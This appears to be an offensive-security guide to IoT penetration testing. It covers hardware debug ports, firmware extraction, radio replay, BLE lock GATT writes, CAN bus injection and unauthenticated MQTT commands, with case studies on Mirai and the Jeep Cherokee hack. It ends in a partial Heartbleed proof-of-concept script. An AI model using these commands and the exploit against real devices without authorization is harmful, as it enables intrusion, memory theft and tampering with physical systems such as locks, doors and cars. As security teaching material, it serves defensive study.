IoT is the part of the attack surface that vendors stopped paying attention to about ten minutes after shipping. The same SoC ships in a baby monitor, a doorbell camera, and a casino fish-tank thermometer, and the firmware was thrown together by a contractor on a deadline who hardcoded the telnet password and shipped it. On engagement, this means IoT devices are the closest thing to free wins still left on a corporate LAN: under-segmented, never patched, and frequently running the same default credentials they had at the factory.
The sections below cover the operator-side approach: hardware attack surface (UART, JTAG, SPI flash), firmware reverse engineering, radio (SDR, BLE, Zigbee), automotive CAN, and the MQTT brokers that quietly run half the smart-home gear in 2026. The case studies at the end (Mirai, the Jeep Cherokee hack, BLE smart locks) are there because the techniques in each one are still working today against the same device classes.
What “IoT” actually means on engagement#
The acronym got coined to describe consumer-grade smart things, but the operator-relevant scope is broader. Anything with a network stack, an embedded OS, and no patch lifecycle counts: building access controllers, HVAC systems, network-attached printers, IP cameras, manufacturing-floor PLCs, hospital infusion pumps, the WiFi-connected fish tank that famously got a North American casino owned in 2017. The common thread is constrained hardware (small CPU, small RAM, small flash) running stripped-down Linux or a real-time OS, with security features that were either shipped broken or never enabled.
The economics produce the security posture. Vendors target a sub-$50 BOM, ship the device, then never push firmware updates because there’s no business model that pays for them. The default credentials in the manual are also the default credentials on every unit shipped. The TLS certificate is self-signed by a CA that the vendor lost the private key to. The serial console is still wired to the board, and the manufacturer left the boot logs verbose so the assembly-line techs could troubleshoot. All of this is the operator’s edge.
Where the bugs live#
Five attack surfaces account for most of the IoT findings on the wire:
- Default and hardcoded credentials. Manuals are public. Banner-grab the device with Shodan and try the documented defaults. This is also what Mirai used.
- Firmware bugs. Unpatched CVE in the device’s busybox or OpenSSL build, command-injection in the web admin UI (“ping” field shells out to
system()), buffer overflow in the SNMP parser. The vendor knows; they just stopped shipping updates. - On-device malware. Once the operator has code execution, the device can be enrolled into a botnet, used as a network foothold to pivot deeper, or rigged to mine cryptocurrency while looking like normal background traffic.
- Network-path attacks. ARP spoofing or DHCP starvation on the LAN segment, captive-portal phishing, traffic interception against devices that didn’t bother validating TLS certificates.
- Physical access. A device on a corporate desk is a device the operator can take home. UART, JTAG, and a SPI flash dump get you the same code-execution path the vendor uses for debugging.
Hardware: the physical layer#
Software exploits are useful, but on most IoT gear the hardware is where the operator wins fastest. Manufacturers leave debugging interfaces on the PCB because their own engineers need them, and removing them costs money the BOM doesn’t have. The headers stay. Sometimes the silkscreen labels them for you.
Identifying interfaces#
Pop the case. Look for headers (rows of pins or empty plated-through holes). The common interfaces:
- UART (Universal Asynchronous Receiver-Transmitter): typically four pins,
VCC/GND/TX/RX. It’s a direct serial console to the bootloader and the OS, and on a lot of devices it drops you straight into a root shell with no authentication. - JTAG (Joint Test Action Group): hardware debugging interface. Lets you pause the CPU, read and write memory, set breakpoints, and dump firmware. Heavier setup than UART but works when the firmware is locked down.
- SPI / I2C: serial bus protocols used to talk to flash memory chips and other peripherals. If the device has an external SOIC-8 flash chip, you can desolder it (or clip it in place with a SOIC-8 clip) and read the firmware off it directly.
Tools#
- Bus Pirate or Shikra: multi-protocol probes for UART, SPI, and I2C. The Bus Pirate has been around since 2008 and is still the cheap default.
- Saleae Logic or a clone: logic analyzer for visualizing and decoding bus traffic when you don’t know what protocol is running on a header.
- Multimeter: for identifying pins. Ground reads 0V to chassis; VCC reads 3.3V or 5V steady; TX flickers during boot.
- Segger J-Link or Black Magic Probe: JTAG/SWD debug probes.
- SOIC-8 clip + CH341A programmer: $15 of gear that reads or writes most external flash chips without desoldering.
UART walkthrough#
The technique that’s still the highest-yield IoT attack in 2026:
- Find ground first. Probe between each pin and the chassis with a multimeter set to continuity. The pin that beeps is
GND. - Find VCC. Power the board. The pin that reads a steady 3.3V or 5V relative to ground is
VCC. Note it; don’t connect to it. - Find TX. While the device boots, scope or probe the remaining pins. TX flickers as the bootloader prints to the console.
- Wire up a USB-to-TTL adapter. RX on the adapter to TX on the device, TX on the adapter to RX on the device, GND to GND. Leave VCC disconnected if the device is self-powered; back-powering the regulator through VCC is how operators kill their target during a $200 engagement.
- Match the baud rate. Common: 115200, 57600, 9600. Tools like baudrate.py cycle through them.
- Open the console.
screen /dev/ttyUSB0 115200, then power-cycle the device and watch the boot log. - Take the shell. A lot of devices drop you straight into a root prompt with no login. If they don’t, interrupt the U-Boot bootloader (usually by hitting a key during the countdown) and edit the kernel command line to add
init=/bin/shorsingle. The kernel will execute your shell as PID 1 with full root, before any login or service has started.
Firmware: extract, unpack, emulate#
If the hardware path is locked down (no exposed UART, encrypted boot, fused JTAG), the firmware itself is the next target. There are three ways in: download it from the vendor’s update site (the easiest path; most vendors publish updates over plain HTTP and don’t sign the image), capture it from a network update in transit, or read it off the device’s flash chip directly with a SOIC-8 clip and a CH341A programmer.
binwalk#
binwalk (Craig Heffner’s tool, maintained by ReFirm Labs) scans a binary for known signatures: zip headers, gzip streams, Linux file system magic, ELF executables, JFFS2 or SquashFS marker bytes.
# Identify embedded artifacts
binwalk firmware.bin
# Carve them out
binwalk -e firmware.binThe output usually contains a SquashFS or JFFS2 root file system. Mount it or browse the extracted tree, and you’re looking at the device the same way the manufacturer does. The reliable wins live in a few standard locations:
/etc/passwdand/etc/shadow: hashed accounts, frequently with crackable passwords./etc/inittaband/etc/init.d/: what runs at boot, including the telnet daemon nobody told you about./www/or/var/www/: the web admin’s HTML, CGI scripts, and any embedded credentials./bin/,/sbin/,/usr/bin/: target binaries to throw at Ghidra, Binary Ninja, or radare2.
Emulation with qemu-user-static#
You don’t need the physical device to run its binaries. IoT firmware is overwhelmingly ARM or MIPS, both of which qemu-user-static handles fine on an x86 host. The standard pattern: copy the qemu binary into the extracted root, then chroot in.
# Copy the static qemu binary into the extracted root
cp /usr/bin/qemu-arm-static ./squashfs-root/usr/bin/
# Chroot into the firmware
sudo chroot ./squashfs-root /usr/bin/qemu-arm-static /bin/shFrom inside the chroot you can run the device’s CGI handlers, fuzz the web admin without bricking real hardware, and attach a debugger to the same binary that would run on the target. Firmadyne and the more recent FirmAE automate this for whole-device emulation, including faking the kernel modules a lot of vendor binaries expect to find.
Radio: the airwaves are public#
IoT devices talk over a lot more than Wi-Fi. Sub-GHz ISM bands (315, 433, 868, 915 MHz) carry garage openers, weather stations, and most consumer remotes. 2.4 GHz carries Wi-Fi, Bluetooth, BLE, and Zigbee. The operator who can listen, decode, and replay on these bands has more attack surface than they’ll get through any TCP socket.
Software-defined radio#
An RTL-SDR ($30) is enough to receive most consumer-grade traffic up to 1.7 GHz. A HackRF ($300) adds the ability to transmit, which is what you need for replay and active attacks. Common moves:
- Replay. Capture the burst from a garage door, gate, or doorbell remote with
rtl_433orinspectrum, then re-transmit it with the HackRF. Modern systems use rolling codes (KeeLoq, Hi-Tag) that defeat naive replay, but the cheaper IoT devices still ship static codes. RollJam-style attacks (jam the legitimate signal, capture, replay later) work against some rolling-code systems where the receiver doesn’t desync correctly. - Jamming. Spraying noise on 2.4 GHz can drop wireless cameras and Wi-Fi-connected sensors. Loud, traceable, mostly illegal outside the lab.
Bluetooth Low Energy#
BLE is everywhere: smart locks, bulbs, fitness trackers, contact tracing apps. Devices advertise services and characteristics over the Generic Attribute Profile (GATT); the operator’s job is to enumerate them and look for writable characteristics that control the device state.
# Scan for BLE advertisers
sudo hcitool lescan
# Connect and walk the GATT tree
gatttool -I
[ ][LE]> connect AA:BB:CC:DD:EE:FF
[CON][LE]> char-desc
[CON][LE]> char-write-req 0x002a 4e0100bettercap and nRF Connect (mobile) are friendlier front-ends for the same workflow. The classic finding is a smart lock that exposes an “unlock” characteristic with no authentication on the GATT write, which the vendor assumed was hidden because nobody would think to look at the protocol. Anthony Rose and Ben Ramsey demonstrated this against 12 of 16 BLE locks at DEF CON 24 in 2016, using a $50 directional antenna to do it from about a quarter mile away.
Zigbee#
Zigbee runs on 2.4 GHz (also 915 MHz in the US) and shows up in smart-home gear, especially lights (Hue, Innr) and sensors. Security is built on AES-128-CCM* with a per-network Network Key plus a Trust Center Link Key. The historical weakness is the joining process: until Zigbee 3.0 tightened it up, devices joined the network using the well-known default ZigBeeAlliance09 link key, which means a sniffer present during a new device’s first 30 seconds on the network captures everything needed to decrypt the rest of the traffic. Joshua Wright’s KillerBee
framework, paired with a compatible radio (Atmel RZRAVEN, Apimote, or one of the more recent CC2531 dongles), is the standard sniffing toolkit.
Automotive: the CAN bus#
Modern cars are networks on wheels. The Controller Area Network (CAN) bus, designed by Bosch in 1986, is the primary in-vehicle network connecting the engine ECU, transmission, brakes, body control, and infotainment. Every node sees every frame; arbitration is by frame ID with lower IDs winning. No authentication, no encryption, no access control: the bus assumes every node on it is trusted because in 1986 the bus was an internal-only debug channel.
Linux has had native CAN support (SocketCAN) since 2.6.25, and the can-utils package is the operator’s standard toolkit:
# Stand up a virtual CAN interface for testing
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
# Watch traffic
candump vcan0
# Inject a frame: ID 0x123, payload 0xDEADBEEF
cansend vcan0 123#DEADBEEFOn a real car you reach the bus through the OBD-II port (a CAN-USB adapter, $40), or through a compromised infotainment unit that’s bridged to the CAN side of the gateway. Once you’re on the bus, the work is reverse engineering: capture, identify which IDs correspond to which subsystem by triggering known actions (press the door lock, watch which ID lights up), then craft your own frames. cantools and caringcaribou are the standard analysis tools.
MQTT: the brokers nobody locked down#
Message Queuing Telemetry Transport (MQTT) is the publish-subscribe protocol that ended up running most of the consumer smart-home ecosystem. Devices subscribe to topics like home/livingroom/light; controllers publish messages like on or off to those topics; the broker fans the messages out.
The default port is 1883 (plaintext) and 8883 (TLS), both IANA-registered. Anonymous-write brokers are still common in the wild because Mosquitto’s stock config allows them and a lot of integrators never changed it. Shodan turns up tens of thousands of them at any given time, including industrial gear that probably shouldn’t be on the public internet.
# Listen to every topic the broker carries
mosquitto_sub -h target_ip -t "#" -v
# Publish your own command
mosquitto_pub -h target_ip -t "home/garage/door" -m "OPEN"If the broker accepts anonymous publishes, every device subscribed to it is yours. The # wildcard subscription is the operator’s reconnaissance: it surfaces the full topic tree the broker is carrying, which is usually enough to figure out what each device is doing and which commands matter.
Three case studies worth knowing#
Mirai (2016)#
Mirai is the IoT botnet that everyone in the industry references as the moment IoT security stopped being a hypothetical concern. On September 20 2016 it hit KrebsOnSecurity with a 620 Gbps DDoS, at the time the largest ever recorded. On October 21 2016 it took out Dyn (the DNS provider), which knocked Twitter, Netflix, Reddit, GitHub, and Spotify offline for most of the US east coast for hours. Antonakakis et al. (USENIX Security 2017) traced about 600,000 devices through the botnet’s seven-month operational window.
The infection vector was almost embarrassingly simple. The leaked scanner.c from the source release contains a hardcoded table of 62 username/password pairs (
) for telnet on port 23. Mirai didn’t exploit a vulnerability; it logged in. The targets were IP cameras, DVRs, and home routers from a handful of Chinese vendors that all shipped with the same default credentials, mostly because they all reused the same Hi3520 reference design from XiongMai.
The infrastructure was deliberately tiered. The bot itself was small (a few hundred KB), wrote itself into memory only (no persistence across reboot, which mattered less than you’d think since reinfection was instant), and connected back to a CnC server over plaintext TCP. A separate scan-and-load architecture handled propagation: infected bots scanned random IP ranges for open telnet, reported hits to a loader server, and the loader did the credential brute force and binary delivery. The DDoS modes implemented in attack.c included SYN flood, UDP flood, GRE flood, HTTP flood, and a DNS water-torture attack that was novel at the time.
The authors (Paras Jha, Josiah White, Dalton Norman) pleaded guilty in December 2017. The source code was released publicly on Hackforums by “Anna-Senpai” in early October 2016, which is why every forked Mirai variant since then (Satori, Reaper, Hajime, Mozi) has read like minor edits of the same codebase. The DOJ press release is on justice.gov; the Antonakakis paper is the authoritative technical writeup.
Jeep Cherokee (2015)#
Charlie Miller and Chris Valasek’s remote-takeover of a 2014 Jeep Cherokee is the textbook case study for automotive IoT attack surface. They published it in Andy Greenberg’s Wired piece on July 21 2015, with Greenberg in the driver’s seat on a St. Louis highway while Miller and Valasek killed the engine remotely from Miller’s basement.
The attack chain in their paper (illmatics.com/Remote%20Car%20Hacking.pdf):
- The Harman UConnect 8.4-inch head unit had a D-Bus service exposed on TCP port 6667 (Sprint cellular interface) with no authentication. CVE-2015-5611.
- D-Bus exposed a method that took an arbitrary shell command and ran it as root. From there, code execution on the head unit was a one-liner.
- The head unit’s V850 controller (the one that talks to the CAN bus) had a firmware flashing interface they could reach from the main Linux processor. They reflashed it with code that would relay CAN frames sent from the head unit.
- With control of CAN frame injection, they could fire arbitrary diagnostic and control messages. Steering only responded in reverse (a manufacturer safety lockout), brakes only worked at low speed, but they could disable the brakes entirely on the highway and cut the engine.
Fiat Chrysler recalled 1.4 million vehicles. The patch was distributed on a USB stick mailed to owners. The lesson the rest of the industry should have taken (segment the cellular-facing component from the CAN bus, or at minimum authenticate diagnostic messages) is one most of them are still working on a decade later.
BLE smart locks (Rose & Ramsey, 2016)#
Anthony Rose and Ben Ramsey presented “Picking Bluetooth Low Energy Locks from a Quarter Mile Away” at DEF CON 24 in August 2016. They tested 16 commercially available BLE smart locks from vendors including Quicklock, iBlulock, Plantraco, Ceomate, Elecycle, Vians, Okidokeys, and Mesh Motion, and found 12 of them vulnerable to one or more attacks.
The findings were not subtle. Some locks transmitted the unlock password in plaintext over the BLE air interface. Some used the same hardcoded password across every unit shipped. Some accepted writes to the unlock characteristic from any client, with no pairing or authentication required. One implemented a “secure” mode that simply XOR’d the password with a static value before sending it. The locks that did require pairing were vulnerable to a fuzzer that crashed them into an unlocked state.
The “quarter mile” in the title was the practical range Rose and Ramsey achieved with a $50 directional antenna. (Some readings of the talk have it as 400 miles, which would require BLE to break physics; the real figure is about 400 meters.) The vendors mostly responded by ignoring the disclosure. Most of the locks are still on Amazon.
The technique matters because BLE-controlled physical security is still a growth market in 2026: smart deadbolts, padlocks, hotel-room locks, vehicle entry systems. The class of vulnerability hasn’t changed, and “writable GATT characteristic with no authentication” is still where the operator looks first.
Operator toolkit#
The tools that earn shelf space on an IoT-focused engagement:
- Shodan
: the search engine for internet-connected devices. Banner-grab queries (
port:1883,product:"BusyBox telnetd", vendor names) surface targets without scanning yourself. Censys and ZoomEye are reasonable alternatives. - Nmap
: port scanning, service detection, and the IoT-relevant NSE scripts (
mqtt-subscribe,coap-resources,upnp-info,snmp-info). - Wireshark : protocol analysis. The MQTT, CoAP, and Zigbee dissectors are all in the main distribution.
- Metasploit
: exploit modules for the common router and DVR CVEs, plus the
auxiliary/scanner/telnet/telnet_loginandauxiliary/scanner/ssh/ssh_loginmodules that automate default-credential testing. - RouterSploit : Metasploit-style framework focused on consumer-grade routers and embedded devices. Modules for specific vendor exploits and credential brute-forcing.
- Firmadyne and FirmAE : whole-device firmware emulation. Useful when you want to dynamically test the web admin without bricking real hardware.
- binwalk : firmware unpacking, already covered above.
- Reaver and Bully : WPS PIN brute-forcing. Less useful in 2026 than it was in 2014 (most consumer APs disable WPS by default now), but the long tail of older gear still ships with it on.
- KillerBee : Zigbee sniffing and active attack framework.
- can-utils : standard CAN-bus toolkit on Linux.
- Bus Pirate / Shikra : hardware multi-tool for UART, SPI, and I2C.
A working Heartbleed example#
Heartbleed (CVE-2014-0160) is the canonical IoT-still-running-OpenSSL-1.0.1f vulnerability, and it’s worth keeping in your toolkit because so many embedded devices never got the update. The bug is in the TLS heartbeat extension (RFC 6520): a malformed heartbeat request claims a payload length much larger than the actual payload, and the server’s response copies bytes from adjacent memory until the claimed length is satisfied. That memory frequently includes session keys, login tokens, and other data the server has touched recently.
A common mistake when writing a Heartbleed proof-of-concept in Python is to call ssl.wrap_socket() and then .send(). That won’t work: .send() on a wrapped TLS socket emits an application-data record (content type 0x17), but Heartbleed is triggered by a malformed heartbeat record (content type 0x18). The bug lives in a code path application data never reaches. The exploit has to construct the raw heartbeat record itself and write it to the underlying socket after the TLS handshake completes.
The structure of a working PoC (closely following Jared Stafford’s original ssltest.py):
import socket
import struct
import sys
# TLS record: heartbeat (0x18), TLS 1.2 (0x03 0x03), length 3
# Heartbeat: request type (0x01), claimed payload length 0x4000 (16384 bytes)
heartbeat = bytes.fromhex(
"18 03 03 00 03" # record header
"01 40 00" # heartbeat: request, claim 16384-byte payload
)
def hex_dump(data: bytes) -> None:
for i in range(0, len(data), 16):
chunk = data[i:i + 16]
ascii_part = "".join(c if 32 <= ord(c) < 127 else "." for c in chunk.decode("latin-1"))
print(f"{i:08x} {chunk.hex(' '):<48} {ascii_part}")
def recv_record(sock: socket.socket) -> tuple[int, bytes]:
header = b""
while len(header) < 5:
chunk = sock.recv(5 - len(header))
if not chunk:
raise EOFError("server closed connection during record header")
header += chunk
content_type, _, length = struct.unpack(">BHH", header)
body = b""
while len(body) < length:
chunk = sock.recv(length - len(body))
if not chunk:
raise EOFError("server closed connection during record body")
body += chunk
return content_type, body
def exploit(host: str, port: int = 443) -> None:
sock = socket.create_connection((host, port), timeout=10)
# ClientHello + heartbeat-extension advertisement omitted here for brevity;
# see Stafford's ssltest.py for the full handshake bytes that work against
# OpenSSL 1.0.1 through 1.0.1f.
sock.sendall(client_hello())
while True:
content_type, body = recv_record(sock)
if content_type == 0x16 and body[0] == 0x0e:
break # ServerHelloDone
sock.sendall(heartbeat)
content_type, body = recv_record(sock)
if content_type == 0x18:
print(f"[+] Server is vulnerable. {len(body)} bytes leaked:")
hex_dump(body)
else:
print(f"[-] Server returned record type {content_type:#x}; not vulnerable")
sock.close()
if __name__ == "__main__":
exploit(sys.argv[1])The full working exploit, including the client_hello() builder, lives in the Stafford code and its many mirrors. The point worth taking away: at the protocol level, the bug is one TLS record sent on a raw socket, and any PoC that tries to wrap the socket in ssl first will silently fail to fire.
What this comes down to#
IoT is the soft target the corporate LAN keeps acquiring without telling anyone, and the reward for the operator who learns the hardware-and-protocol layer is access to a parallel attack surface that defenders mostly aren’t watching. The web admin on the building access controller is on the same VLAN as the engineering laptops because someone needed it to be reachable to debug a door reader. The MQTT broker behind the conference-room AV stack is unauthenticated because the integrator’s installer told them to leave it that way. The UART on the badge printer drops to root shell with no login because the manufacturer never removed it.
The mitigations that work are not exotic: segment IoT off the main network, force firmware updates as part of procurement, audit default credentials, monitor outbound connections from devices that have no reason to talk to the internet. None of this is news. The reason engagements still find these issues a decade after Mirai is that the people responsible for procurement and the people responsible for security are usually different people working off different budgets, and the IoT vendor’s incentive is to ship the cheapest possible device with the least possible support.
For the operator, that asymmetry is the engagement. The first findings on most networks with a serious IoT footprint come from following the cables to the things nobody on the security team can name. Sometimes those things are running the same telnet daemon Mirai went after in 2016. Pretend to be surprised when you find them.